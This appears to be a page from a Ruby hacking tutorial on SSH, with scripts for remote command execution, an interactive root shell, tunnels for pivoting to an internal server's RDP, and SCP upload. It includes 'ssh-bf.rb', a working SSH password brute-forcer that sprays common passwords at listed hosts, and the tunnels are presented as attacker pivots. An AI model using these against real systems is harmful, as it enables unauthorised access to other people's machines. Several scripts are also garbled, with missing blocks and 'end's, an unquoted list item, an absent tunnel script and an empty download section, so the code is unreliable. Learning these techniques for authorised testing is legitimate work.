SSH

    • Install net-ssh gem

    This is a very basic SSH client which sends and executes commands on a remote system

    1. # KING SABRI | @KINGSABRI
    2. require 'net/ssh'
    3. @hostname = "localhost"
    4. @username = "root"
    5. @password = "password"
    6. @cmd = ARGV[0]
    7. begin
    8. ssh = Net::SSH.start(@hostname, @username, :password => @password)
    9. res = ssh.exec!(@cmd)
    10. ssh.close
    11. puts res
    12. rescue
    13. puts "Unable to connect to #{@hostname} using #{@username}/#{@password}"
    14. end

    Here a simple SSH client which give you an interactive PTY

    1. #!/usr/bin/env ruby
    2. # KING SABRI | @KINGSABRI
    3. require 'net/ssh'
    4. @hostname = "localhost"
    5. @username = "root"
    6. @password = "password"
    7. Net::SSH.start(@hostname, @username, :password => @password, :auth_methods => ["password"]) do |session|
    8. # Open SSH channel
    9. session.open_channel do |channel|
    10. # Requests that a pseudo-tty (or "pty") for interactive application-like (e.g vim, sudo, etc)
    11. channel.request_pty do |ch, success|
    12. raise "Error requesting pty" unless success
    13. # Request channel type shell
    14. ch.send_channel_request("shell") do |ch, success|
    15. raise "Error opening shell" unless success
    16. STDOUT.puts "[+] Getting Remote Shell\n\n" if success
    17. end
    18. # Print STDERR of the remote host to my STDOUT
    19. STDOUT.puts "Error: #{data}\n"
    20. end
    21. # When data packets are received by the channel
    22. channel.on_data do |ch, data|
    23. STDOUT.print data
    24. cmd = gets
    25. channel.send_data( "#{cmd}" )
    26. trap("INT") {STDOUT.puts "Use 'exit' or 'logout' command to exit the session"}
    27. end
    28. channel.on_eof do |ch|
    29. puts "Exiting SSH Session.."
    30. end
    31. session.loop
    32. end
    33. end

    ssh-bf.rb

    1. #!/usr/bin/env ruby
    2. # KING SABRI | @KINGSABRI
    3. #
    4. require 'net/ssh'
    5. def attack_ssh(host, user, password, port=22, timeout = 5)
    6. begin
    7. Net::SSH.start(host, user, :password => password,
    8. :auth_methods => ["password"], :port => port,
    9. :paranoid => false, :non_interactive => true, :timeout => timeout ) do |session|
    10. puts "Password Found: " + "#{host} | #{user}:#{password}"
    11. end
    12. rescue Net::SSH::ConnectionTimeout
    13. puts "[!] The host '#{host}' not alive!"
    14. rescue Net::SSH::Timeout
    15. puts "[!] The host '#{host}' disconnected/timeouted unexpectedly!"
    16. rescue Errno::ECONNREFUSED
    17. puts "[!] Incorrect port #{port} for #{host}"
    18. rescue Net::SSH::AuthenticationFailed
    19. puts "Wrong Password: #{host} | #{user}:#{password}"
    20. rescue Net::SSH::Authentication::DisallowedMethod
    21. puts "[!] The host '#{host}' doesn't accept password authentication method."
    22. hosts = ['192.168.0.1', '192.168.0.4', '192.168.0.50']
    23. users = ['root', 'admin', 'rubyfu']
    24. passs = ['admin1234', 'P@ssw0rd', '123456', 'AdminAdmin', 'secret', coffee]
    25. hosts.each do |host|
    26. users.each do |user|
    27. passs.each do |password|
    28. attack_ssh host, user, password
    29. end end end

    ssh-ftunnel.rb

    1. #!/usr/bin/env ruby
    2. # KING SABRI | @KINGSABRI
    3. require 'net/ssh'
    4. Net::SSH.start("127.0.0.1", 'root', :password => '123132') do |ssh|
    5. ssh.forward.local('0.0.0.0', 3333, "WebServer", 3389)
    6. puts "[+] Starting SSH forward tunnel"
    7. ssh.loop { true }
    8. end

    Now connect to the SSH Server on port 3333 via your RDP client, you’ll be prompt for the WebServer‘s RDP log-in screen

    1. rdesktop WebServer:3333

    Reverse SSH Tunnel

    1. |--------DMZ------|---Local Farm----|
    2. | | |
    3. |Attacker| <---SSH Tunnel---- | |SSH Server| <-RDP-> |Web server| |
    4. | | | | |
    5. `->-' |-----------------|-----------------|

    Run ssh-rtunnel.rb on the SSH Server

    Now SSH from the SSH Server to localhost on the localhost’s SSH port then connect from your localhost to your localhost on port 3333 via your RDP client, you’ll be prompt for the WebServer‘s RDP log-in screen

    1. rdesktop localhost:3333
    • To install scp gem

      1. gem install net-scp
    • Upload file

    1. require 'net/scp'
    2. Net::SCP.upload!(
    3. "SSHServer",
    4. "root",
    5. "/rubyfu/file.txt", "/root/",
    6. #:recursive => true, # Uncomment for recursive
    7. :ssh => { :password => "123123" }
    • Download file